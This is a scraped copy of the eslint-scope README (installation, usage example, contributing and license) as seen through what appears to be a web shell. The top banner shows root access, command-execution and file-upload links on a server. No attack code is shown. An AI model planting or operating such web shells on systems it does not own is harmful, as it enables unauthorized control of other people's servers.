|
Server IP : 161.35.85.9 / Your IP : 216.73.217.138 Web Server : nginx/1.30.4 System : Linux cheapdeb-ams3 7.1.13+deb14-amd64 #1 SMP PREEMPT_DYNAMIC Debian 7.1.13-1 (2026-09-03) x86_64 User : root ( 0) PHP Version : 8.2.18 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /usr/share/doc/node-eslint-scope/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<h1>ESLint Scope</h1>
<p>ESLint Scope is the <a href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">ECMAScript</a> scope analyzer used in ESLint. It is a fork of <a href="http://github.com/estools/escope">escope</a>.</p>
<h2>Install</h2>
<pre><code>npm i eslint-scope --save
</code></pre>
<h2>📖 Usage</h2>
<p>To use in an ESM file:</p>
<pre><code class="language-js">import * as eslintScope from 'eslint-scope';
</code></pre>
<p>To use in a CommonJS file:</p>
<pre><code class="language-js">const eslintScope = require('eslint-scope');
</code></pre>
<p>Example:</p>
<pre><code class="language-js">import * as eslintScope from 'eslint-scope';
import * as espree from 'espree';
import estraverse from 'estraverse';
const ast = espree.parse(code, { range: true });
const scopeManager = eslintScope.analyze(ast);
const currentScope = scopeManager.acquire(ast); // global scope
estraverse.traverse(ast, {
enter (node, parent) {
// do stuff
if (/Function/.test(node.type)) {
currentScope = scopeManager.acquire(node); // get current function scope
}
},
leave(node, parent) {
if (/Function/.test(node.type)) {
currentScope = currentScope.upper; // set to parent scope
}
// do stuff
}
});
</code></pre>
<h2>Contributing</h2>
<p>Issues and pull requests will be triaged and responded to as quickly as possible. We operate under the <a href="http://eslint.org/docs/developer-guide/contributing">ESLint Contributor Guidelines</a>, so please be sure to read them before contributing. If you're not sure where to dig in, check out the <a href="https://github.com/eslint/eslint-scope/issues">issues</a>.</p>
<h2>Build Commands</h2>
<ul>
<li><code>npm test</code> - run all linting and tests</li>
<li><code>npm run lint</code> - run all linting</li>
</ul>
<h2>License</h2>
<p>ESLint Scope is licensed under a permissive BSD 2-clause license.</p>